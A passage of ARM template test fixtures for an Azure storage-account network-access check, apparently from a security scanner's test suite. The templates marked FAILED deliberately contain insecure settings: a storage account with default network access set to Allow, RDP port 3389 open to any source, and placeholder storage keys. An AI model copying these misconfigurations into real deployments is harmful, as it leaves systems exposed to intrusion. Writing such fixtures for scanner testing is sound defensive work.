"adminUsername": { "type": "string", "metadata": { "description": "VM admin user name" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "VM admin password" } }, "vnetName": { "type": "string", "defaultValue": "VNet1", "metadata": { "description": "Name of the virtual network" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the virtual network" } }, "subnet1Name": { "type": "string", "defaultValue": "subnet1", "metadata": { "description": "Name of the first subnet in the VNet" } }, "subnet1Prefix": { "type": "string", "defaultValue": "10.0.1.0/24", "metadata": { "description": "Address prefix for subnet1" } }, "subnet2Name": { "type": "string", "defaultValue": "subnet2", "metadata": { "description": "Name of the second subnet in the VNet" } }, "subnet2Prefix": { "type": "string", "defaultValue": "10.0.2.0/24", "metadata": { "description": "Address prefix for subnet2" } }, "vmSize": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VM" } }, "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "metadata": { "description": "Geo-replication type of Storage account" }, "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ] }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[uniqueString(resourceGroup().id)]", "publicIpAddressName": "pip", "vmName": "testvm", "subnetId": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]" ], "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('vnetName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "subnet1", "properties": { "addressPrefix": "[parameters('subnet1Prefix')]", "serviceEndpoints": [ { "service": "Microsoft.Storage" } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } }, { "name": "subnet2", "properties": { "addressPrefix": "[parameters('subnet2Prefix')]" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[concat(variables('publicIPAddressName'), copyIndex())]", "location": "[parameters('location')]", "copy": { "name": "pipLoop", "count": 2 }, "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2016-10-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat('nic', copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('vnetName')]", "pipLoop" ], "copy": { "name": "nicLoop", "count": 2 }, "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[variables('subnetId')[copyIndex()]]" }, "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('storageAccountName')]", "apiVersion": "[variables('some-variable')]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]" ], "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "Storage", "properties": { "networkAcls": { "bypass": "None", "virtualNetworkRules": [ { "id": "[variables('subnetId')[0]]", "action": "Allow" } ], "defaultAction": "Deny" } } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/availabilitySets", "name": "as1", "location": "[parameters('location')]", "sku": { "name": "Aligned" }, "properties": { "platformFaultDomainCount": 2, "platformUpdateDomainCount": 2 } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/virtualMachines", "name": "[concat(variables('vmName'), copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "nicLoop", "Microsoft.Compute/availabilitySets/as1" ], "copy": { "name": "vmLoop", "count": 2 }, "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', 'as1')]" }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computername": "[concat(variables('vmName'), copyIndex())]", "adminUsername": "[parameters('adminUserName')]", "adminPassword": "[parameters('adminPassword')]" }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "2016-Datacenter", "version": "latest" }, "osDisk": { "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "VM admin user name" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "VM admin password" } }, "vnetName": { "type": "string", "defaultValue": "VNet1", "metadata": { "description": "Name of the virtual network" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the virtual network" } }, "subnet1Name": { "type": "string", "defaultValue": "subnet1", "metadata": { "description": "Name of the first subnet in the VNet" } }, "subnet1Prefix": { "type": "string", "defaultValue": "10.0.1.0/24", "metadata": { "description": "Address prefix for subnet1" } }, "subnet2Name": { "type": "string", "defaultValue": "subnet2", "metadata": { "description": "Name of the second subnet in the VNet" } }, "subnet2Prefix": { "type": "string", "defaultValue": "10.0.2.0/24", "metadata": { "description": "Address prefix for subnet2" } }, "vmSize": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VM" } }, "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "metadata": { "description": "Geo-replication type of Storage account" }, "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ] }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[uniqueString(resourceGroup().id)]", "publicIpAddressName": "pip", "vmName": "testvm", "subnetId": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]" ], "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('vnetName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "subnet1", "properties": { "addressPrefix": "[parameters('subnet1Prefix')]", "serviceEndpoints": [ { "service": "Microsoft.Storage" } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } }, { "name": "subnet2", "properties": { "addressPrefix": "[parameters('subnet2Prefix')]" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[concat(variables('publicIPAddressName'), copyIndex())]", "location": "[parameters('location')]", "copy": { "name": "pipLoop", "count": 2 }, "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2016-10-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat('nic', copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('vnetName')]", "pipLoop" ], "copy": { "name": "nicLoop", "count": 2 }, "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[variables('subnetId')[copyIndex()]]" }, "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('storageAccountName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]" ], "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "Storage", "properties": { "networkAcls": { "bypass": "None", "virtualNetworkRules": [ { "id": "[variables('subnetId')[0]]", "action": "Allow" } ], "defaultAction": "Allow" } } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/availabilitySets", "name": "as1", "location": "[parameters('location')]", "sku": { "name": "Aligned" }, "properties": { "platformFaultDomainCount": 2, "platformUpdateDomainCount": 2 } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/virtualMachines", "name": "[concat(variables('vmName'), copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "nicLoop", "Microsoft.Compute/availabilitySets/as1" ], "copy": { "name": "vmLoop", "count": 2 }, "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', 'as1')]" }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computername": "[concat(variables('vmName'), copyIndex())]", "adminUsername": "[parameters('adminUserName')]", "adminPassword": "[parameters('adminPassword')]" }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "2016-Datacenter", "version": "latest" }, "osDisk": { "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-03-01-hybrid/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "Admin username" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Admin password" } }, "a": { "type": "string" }, "b": { "type": "string" }, "c": { "type": "string" }, "e": { "type": "string" }, "f": { "type": "string" }, "g": { "type": "string" }, "h": { "type": "string" }, "location": { "type": "string" }, "pwd": { "type": "string" }, "wsName": { "type": "string" }, "BEvirtualMachineNames": { "type": "string" }, "BEsubnetIPPrefix": { "type": "string" }, "BEnicStartingAddress": { "type": "string" }, "onPremDNSServers": { "type": "string" }, "metadata": { "type": "string" }, "sku": { "type": "string" }, "batchSize": { "type": "string" }, "dnsLabelPrefix": { "type": "string" }, "keyvaultSettings": { "type": "string" }, "keyvaultSecrets": { "type": "string" }, "newZoneName": { "type": "string" }, "nt0InstanceCount": { "type": "string" }, "newAccountName": { "type": "string" }, "storageAccountId": { "type": "string" }, "newRecordName": { "type": "string" }, "d": { "type": "string" } }, "variables": { "loadBalancerName": { "type": "string", "metadata": { "description": "This is the name of the load balancer" } }, "publicIPAddressID1": "123", "nt0fabricTcpGatewayPort": "3000", "nt0fabricHttpGatewayPort": "3000", "lbIPName": "loadbalancerIPName", "vmNodeType0Name": "virtualMachineName", "importExportJobName": "ieJobName" }, "outputs": { "out1": { "type": "secureObject", "value": { "abc": "val1" } } }, "apiProfile": "2018-06-01-profile", "resources": [ { "type": "Microsoft.Network/trafficManagerProfiles", "apiVersion": "2015-11-01", "name": "a", "location": "global", "properties": { "dnsConfig": { "relativeName": "a", "ttl": "[trim('a')]", "fqdn": "a" }, "monitorConfig": { "path": "a", "port": 80, "protocol": "HTTP" }, "trafficRoutingMethod": "Performance" } }, { "type": "Microsoft.Network/trafficManagerProfiles", "apiVersion": "2015-11-01", "name": "a", "location": "global", "properties": { "dnsConfig": { "relativeName": "a", "ttl": "[trim('a')]", "fqdn": "a" }, "monitorConfig": { "path": "a", "port": 80, "protocol": "HTTP" }, "trafficRoutingMethod": "Performance" } }, { "type": "Microsoft.Cdn/profiles", "apiVersion": "2015-06-01", "name": "b", "location": "Korea South", "properties": { "accessPolicies": [], "sku": {} } }, { "type": "Microsoft.DataLakeAnalytics/accounts", "apiVersion": "2015-10-01-preview", "location": "Australia East", "name": "DataLakeAnalyticsTest", "properties": { "dataLakeStoreAccounts": [], "defaultDataLakeStoreAccount": "[parameters('b')]", "storageAccounts": [ { "name": "storageaccounttest", "properties": { "accessKey": "asb" } } ] } }, { "type": "Microsoft.DataLakeStore/accounts", "apiVersion": "2015-10-01-preview", "location": "Australia East", "name": "b", "properties": { "defaultGroup": "parameters('b')", "firewallRules": [ { "name": "dfadf", "properties": { "endIpAddress": "1.0.0.0", "startIpAddress": "1.0.0.0" } } ], "firewallState": "Enabled" } }, { "type": "Microsoft.Scheduler/jobCollections", "apiVersion": "2014-08-01-preview", "name": "a", "location": "Central India", "properties": { "sku": { "name": "Free" } } }, { "type": "Microsoft.DevTestLab/labs/virtualmachines", "apiVersion": "2015-05-21-preview", "name": "[ parameters('b') ]", "location": "parameters('c')]", "properties": { "labSubnetName": "daf", "labVirtualNetworkId": "dafda", "size": "afadfa" } }, { "type": "Microsoft.ContainerService/containerServices", "apiVersion": "2016-03-30", "location": "Australia East", "name": "a", "properties": { "agentPoolProfiles": [ { "count": "[parameters('c')]", "dnsPrefix": "dafaf", "name": "a", "vmSize": "Standard_A0" } ], "linuxProfile": { "adminUsername": "a", "ssh": { "publicKeys": [ { "keyData": "afdaf" } ] } }, "masterProfile": { "count": 1, "dnsPrefix": "afdaf" }, "orchestratorProfile": { "orchestratorType": "Swarm" } } }, { "type": "Microsoft.PowerBI/workspaceCollections", "name": "[parameters('a')]", "apiVersion": "2016-01-29", "location": "[parameters('a')]", "sku": { "name": "S1", "tier": "Standard" } }, { "type": "Microsoft.Network/dnszones", "apiVersion": "2015-05-04-preview", "name": "adf", "location": "abcd", "properties": { "maxNumberOfRecordSets": "[parameters('b')]" }, "tags": { "a": "n" } }, { "type": "Microsoft.Batch/batchAccounts/applications", "apiVersion": "2015-12-01", "name": "dafdaf", "location": "dfadafd", "tags": { "c": "cac" } }, { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2015-12-01", "location": "Australia East", "name": "dafdaf", "tags": { "c": "cac" }, "properties": { "autoStorage": { "storageAccountId": "afdafa" } } }, { "type": "Microsoft.CognitiveServices/accounts", "apiVersion": "2016-02-01-preview", "kind": "ComputerVision", "location": "Australia East", "name": "adfad", "sku": { "name": "S0" }, "properties": {} }, { "type": "Microsoft.Cdn/profiles", "apiVersion": "2015-06-01", "name": "[parameters('c')]", "location": "Australia Southeast", "properties": { "sku": { "name": "Premium" } } }, { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2016-01-01", "kind": "BlobStorage", "name": "cdsdf", "location": "Australia East", "sku": { "name": "Premium_LRS" } }, { "type": "Microsoft.Automation/automationAccounts/runbooks", "apiVersion": "2015-10-31", "name": "daf", "location": "Australia East", "properties": { "publishedContentLink": "afdaf", "runbookType": "Graph" } }, { "type": "Microsoft.Automation/automationAccounts/modules", "apiVersion": "2015-10-31", "name": "adfdaf", "location": "Australia East", "properties": { "contentLink": { "uri": "afda", "contentHash": { "algorithm": "afd", "value": "afdaf" } } } }, { "type": "Microsoft.DevTestLab/labs", "apiVersion": "2016-05-15", "name": "adfa", "properties": { "defaultStorageAccount": "abc", "labStorageType": "Premium" }, "resources": [ { "type": "virtualmachines", "apiVersion": "2016-05-15", "name": "ljkio", "properties": { "notes": "bcde", "isAuthenticationWithSshKey": true } } ] }, { "type": "Microsoft.DevTestLab/labs/artifactsources", "apiVersion": "2016-05-15", "name": "dss", "properties": { "displayName": "jldskl", "sourceType": "GitHub" } }, { "type": "Microsoft.Resources/deployments", "apiVersion": "2016-09-01", "name": "[parameters(concat('a-', copyIndex()))]", "properties": { "mode": "Incremental", "parametersLink": { "uri": "http://a.com/1", "contentVersion": "1.0.0.0" }, "templateLink": { "uri": "http://a.com/1", "contentVersion": "1.0.0.0" } }, "copy": { "count": 3, "name": "adfb" } }, { "apiVersion": "2016-09-01", "name": "nestedTemplate", "type": "Microsoft.Resources/deployments", "properties": { "mode": "Incremental", "template": { "$schema": "http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "resources": [], "variables": {}, "outputs": { "result": { "value": "Hello World", "type": "string" } } } } }, { "type": "Microsoft.Network/dnszones", "apiVersion": "2015-05-04-preview", "name": "zonesWithChildResource", "properties": { "maxNumberOfRecordSets": 123, "numberOfRecordSets": 32 }, "resources": [ { "type": "TXT", "apiVersion": "2015-05-04-preview", "properties": {} } ] }, { "type": "Microsoft.Scheduler/jobCollections", "apiVersion": "2016-03-01", "name": "mycollection", "properties": {}, "resources": [ { "name": "jobs", "type": "jobs", "apiVersion": "2016-03-01", "properties": {} } ] }, { "type": "Microsoft.Logic/workflows", "apiVersion": "2015-02-01-preview", "name": "myflow", "properties": { "state": "Enabled", "parameters": { "para1": { "type": "Array", "value": {} } } } }, { "type": "Microsoft.RecoveryServices/vaults", "apiVersion": "2016-06-01", "name": "vaults", "location": "East US", "sku": { "name": "RS0", "tier": "Standard" }, "properties": { "prop1": "val1" }, "tags": { "additional": "value" } }, { "type": "Microsoft.Media/mediaServices", "apiVersion": "2015-10-01", "name": "sfdsfw", "location": "East US", "properties": { "storageAccounts": [ { "id": "123", "isPrimary": false } ] } }, { "type": "Microsoft.Cache/Redis", "name": "redis", "location": "East US", "apiVersion": "2016-04-01", "properties": { "sku": { "name": "Basic", "capacity": 15, "family": "C" }, "shardCount": 30, "tenantSettings": { "set1": "abc" }, "subnetId": "/subscriptions/123/resourceGroups/abc/providers/Microsoft.Network/virtualNetworks/abc/subnets/sub" } }, { "type": "Microsoft.MachineLearning/workspaces", "apiVersion": "2016-04-01", "location": "East US", "name": "[parameters('wsName')]", "properties": { "userStorageAccountId": "guid", "ownerEmail": "owner@machinelearning.com" } }, { "type": "Microsoft.Devices/IotHubs", "apiVersion": "2016-02-03", "location": "East US", "name": "myiot", "resourcegroup": "myRg", "subscriptionid": "mySubscriptionId", "properties": { "authorizationPolicies": [ { "keyName": "key1", "rights": "RegistryRead" } ], "eventHubEndpoints": { "prop1": { "partitionCount": 12, "retentionTimeInDays": 12 } }, "cloudToDevice": { "maxDeliveryCount": 99, "defaultTtlAsIso8601": "abc", "feedback": { "lockDurationAsIso8601": "123", "ttlAsIso8601": "33", "maxDeliveryCount": 33 } }, "operationsMonitoringProperties": { "events": { "abc": "Error", "ds": "Error, Information" } }, "ipFilterRules": [ { "filterName": "name", "action": "Accept", "ipMask": "192.168.1.1/24" } ] }, "sku": { "name": "F1", "capacity": 1 } }, { "apiVersion": "2017-06-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat(parameters('BEvirtualMachineNames')[copyIndex()],'-nic')]", "location": "[resourceGroup().location]", "copy": { "name": "BEnicLoop", "count": 1 }, "dependsOn": [], "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Static", "privateIPAddress": "[concat(parameters('BEsubnetIPPrefix'),copyIndex(parameters('BEnicStartingAddress')))]", "subnet": { "id": "123" } } } ], "dnsSettings": { "dnsServers": "[skip(parameters('onPremDNSServers'), 3)]" } } }, { "type": "Microsoft.Network/dnszones", "apiVersion": "2016-04-01", "name": "myzones", "location": "Canada Central", "properties": {} }, { "type": "Microsoft.Logic/workflows", "apiVersion": "2016-06-01", "name": "myflows", "properties": { "state": "Suspended", "sku": { "name": "NotSpecified", "plan": { "id": "123" } }, "definition": { "prop1": "val1" }, "parameters": { "para1": { "type": "Bool", "value": {}, "metadata": "[parameters('metadata')]" } } } }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2016-03-30", "name": "myextension", "location": "East US", "properties": { "publisher": "publisher", "settings": {}, "type": "mytype", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": "abc" } }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2016-04-30-preview", "name": "myextension", "location": "East US", "properties": { "publisher": "publisher", "settings": {}, "type": "mytype", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": "abc" } }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2015-06-15", "name": "extension1", "location": "West US", "properties": { "publisher": "Microsoft.Azure.Diagnostics", "type": "IaaSDiagnostics", "typeHandlerVersion": "12", "autoUpgradeMinorVersion": true, "settings": { "xmlCfg": "123", "StorageAccount": "ba" }, "protectedSettings": { "storageAccountName": "storage", "storageAccountKey": "ljsfa;lj", "storageAccountEndPoint": "endpoint" } } }, { "name": "Test Name", "type": "Microsoft.Compute/virtualMachines/extensions", "location": "Canada East", "tags": {}, "apiVersion": "2015-06-15", "properties": { "publisher": "Microsoft.Azure.RecoveryServices", "type": "VMSnapshot", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "locale": "test locale", "taskId": "test id", "commandToExecute": "test cmd", "objectStr": "test objstr", "logsBlobUri": "test log uri", "statusBlobUri": "test blob uri", "commandStartTimeUTCTicks": "test cmd starttime", "vmType": "microsoft.compute/virtualmachines" } } }, { "name": "Test Name", "type": "Microsoft.Compute/virtualMachines/extensions", "location": "Canada East", "tags": {}, "apiVersion": "2015-06-15", "properties": { "publisher": "Microsoft.Azure.NetworkWatcher", "type": "NetworkWatcherAgentWindows", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": false, "settings": { "absURL": "abc" } } }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2016-04-30-preview", "name": "extension1", "location": "West US", "properties": { "publisher": "Microsoft.Azure.Diagnostics", "type": "IaaSDiagnostics", "typeHandlerVersion": "12", "autoUpgradeMinorVersion": true, "settings": { "xmlCfg": "123", "StorageAccount": "ba" }, "protectedSettings": { "storageAccountName": "storage", "storageAccountKey": "ljsfa;lj", "storageAccountEndPoint": "endpoint" } } }, { "name": "Test Name", "type": "Microsoft.Compute/virtualMachines/extensions", "location": "Canada East", "tags": {}, "apiVersion": "2016-04-30-preview", "properties": { "publisher": "Microsoft.Azure.RecoveryServices", "type": "VMSnapshot", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "locale": "test locale", "taskId": "test id", "commandToExecute": "test cmd", "objectStr": "test objstr", "logsBlobUri": "test log uri", "statusBlobUri": "test blob uri", "commandStartTimeUTCTicks": "test cmd starttime", "vmType": "microsoft.compute/virtualmachines" } } }, { "name": "Test Name", "type": "Microsoft.Compute/virtualMachines/extensions", "location": "Canada East", "tags": {}, "apiVersion": "2016-04-30-preview", "properties": { "publisher": "Microsoft.Azure.NetworkWatcher", "type": "NetworkWatcherAgentWindows", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": false } }, { "name": "Test Name", "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2018-06-01", "location": "West Us", "properties": { "publisher": "Microsoft.Compute", "type": "CustomScriptExtension", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "fileUris": [ "test file uri", "test file uri 2" ], "commandToExecute": "ls" } } }, { "name": "Test Name", "location": "West Us", "type": "Microsoft.Compute/virtualMachineScaleSets/extensions", "apiVersion": "2018-06-01", "properties": { "publisher": "Microsoft.OSTCExtensions", "type": "CustomScriptForLinux", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "fileUris": [ "test file uri", "test file uri 2" ], "commandToExecute": "ls" }, "protectedSettings": { "commandToExecute": "ls", "storageAccountName": "Test Storage Account Name", "storageAccountKey": "Test Storage Account Key", "storageAccountEndPoint": "Test Storage Account End Point" } } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2015-06-15", "location": "Canada East", "name": "virtualmachine", "properties": { "hardwareProfile": "[parameters('a')]", "storageProfile": "[parameters('b')]", "networkProfile": "[parameters('c')]", "diagnosticsProfile": { "bootDiagnostics": { "enabled": false, "storageUri": "uri" } } }, "resources": [ { "type": "extensions", "apiVersion": "2015-06-15", "name": "extension1", "location": "West US 2", "properties": { "publisher": "Microsoft.Azure.Diagnostics", "type": "IaaSDiagnostics", "typeHandlerVersion": "12", "autoUpgradeMinorVersion": true, "settings": { "xmlCfg": "123", "StorageAccount": "ba" }, "protectedSettings": { "storageAccountName": "storage", "storageAccountKey": "ljsfa;lj", "storageAccountEndPoint": "endpoint" } } }, { "type": "extensions", "apiVersion": "2015-06-15", "name": "myextension", "location": "West Central US", "properties": { "publisher": "publisher", "settings": {}, "type": "mytype", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": "abc" } }, { "name": "Test Name", "type": "extensions", "location": "Australia East", "apiVersion": "2015-06-15", "properties": { "publisher": "Microsoft.Azure.RecoveryServices", "type": "VMSnapshotLinux", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "locale": "test locale", "taskId": "test id", "commandToExecute": "test cmd", "objectStr": "test objstr", "logsBlobUri": "test log uri", "statusBlobUri": "test blob uri", "commandStartTimeUTCTicks": "test cmd starttime", "vmType": "microsoft.compute/virtualmachines" } } } ] }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2016-04-30-preview", "location": "Canada East", "name": "virtualmachine", "properties": { "hardwareProfile": "[parameters('a')]", "storageProfile": "[parameters('b')]", "networkProfile": "[parameters('c')]", "osProfile": { "fdsfdsfs": "123" } }, "resources": [ { "type": "extensions", "apiVersion": "2016-04-30-preview", "name": "extension1", "location": "West US 2", "properties": { "publisher": "Microsoft.Azure.Diagnostics", "type": "IaaSDiagnostics", "typeHandlerVersion": "12", "autoUpgradeMinorVersion": true, "settings": { "xmlCfg": "123", "StorageAccount": "ba" }, "protectedSettings": { "storageAccountName": "storage", "storageAccountKey": "ljsfa;lj", "storageAccountEndPoint": "endpoint" } } }, { "type": "extensions", "apiVersion": "2016-04-30-preview", "name": "myextension", "location": "West Central US", "properties": { "publisher": "publisher", "settings": {}, "type": "mytype", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": "abc" } }, { "name": "Test Name", "type": "extensions", "location": "Australia East", "apiVersion": "2016-04-30-preview", "properties": { "publisher": "Microsoft.Azure.RecoveryServices", "type": "VMSnapshotLinux", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "locale": "test locale", "taskId": "test id", "commandToExecute": "test cmd", "objectStr": "test objstr", "logsBlobUri": "test log uri", "statusBlobUri": "test blob uri", "commandStartTimeUTCTicks": "test cmd starttime", "vmType": "microsoft.compute/virtualmachines" } } } ] }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2018-06-01", "location": "Canada East", "name": "virtualmachine", "properties": { "hardwareProfile": "[parameters('a')]", "storageProfile": "[parameters('b')]", "networkProfile": "[parameters('c')]", "osProfile": { "fdsfdsfs": "123" } }, "resources": [ { "type": "extensions", "apiVersion": "2018-06-01", "name": "extension1", "location": "West US 2", "properties": { "publisher": "Microsoft.Azure.Diagnostics", "type": "IaaSDiagnostics", "typeHandlerVersion": "12", "autoUpgradeMinorVersion": true, "settings": { "xmlCfg": "123", "StorageAccount": "ba" }, "protectedSettings": { "storageAccountName": "storage", "storageAccountKey": "ljsfa;lj", "storageAccountEndPoint": "endpoint" } } }, { "type": "extensions", "apiVersion": "2018-06-01", "name": "myextension", "location": "West Central US", "properties": { "publisher": "publisher", "settings": {}, "type": "mytype", "typeHandlerVersion": "123", "autoUpgradeMinorVersion": "abc" } }, { "name": "Test Name", "type": "extensions", "location": "Australia East", "apiVersion": "2018-06-01", "properties": { "publisher": "Microsoft.Azure.RecoveryServices", "type": "VMSnapshotLinux", "typeHandlerVersion": "Test Type Handler Version", "autoUpgradeMinorVersion": true, "settings": { "locale": "test locale", "taskId": "test id", "commandToExecute": "test cmd", "objectStr": "test objstr", "logsBlobUri": "test log uri", "statusBlobUri": "test blob uri", "commandStartTimeUTCTicks": "test cmd starttime", "vmType": "microsoft.compute/virtualmachines" } } } ] }, { "type": "Microsoft.Compute/snapshots", "apiVersion": "2017-03-30", "name": "sets", "location": "West Central US", "properties": { "creationData": { "createOption": "Empty" } } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2017-03-30", "name": "virtualMachines", "location": "West Central US", "sku": { "name": "name" }, "properties": { "VirtualMachineProperties": {} } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2017-12-01", "name": "virtualMachines", "location": "West Central US", "sku": { "name": "name" }, "properties": { "VirtualMachineProperties": {} } }, { "type": "Microsoft.Compute/images", "apiVersion": "2017-12-01", "name": "images", "location": "West 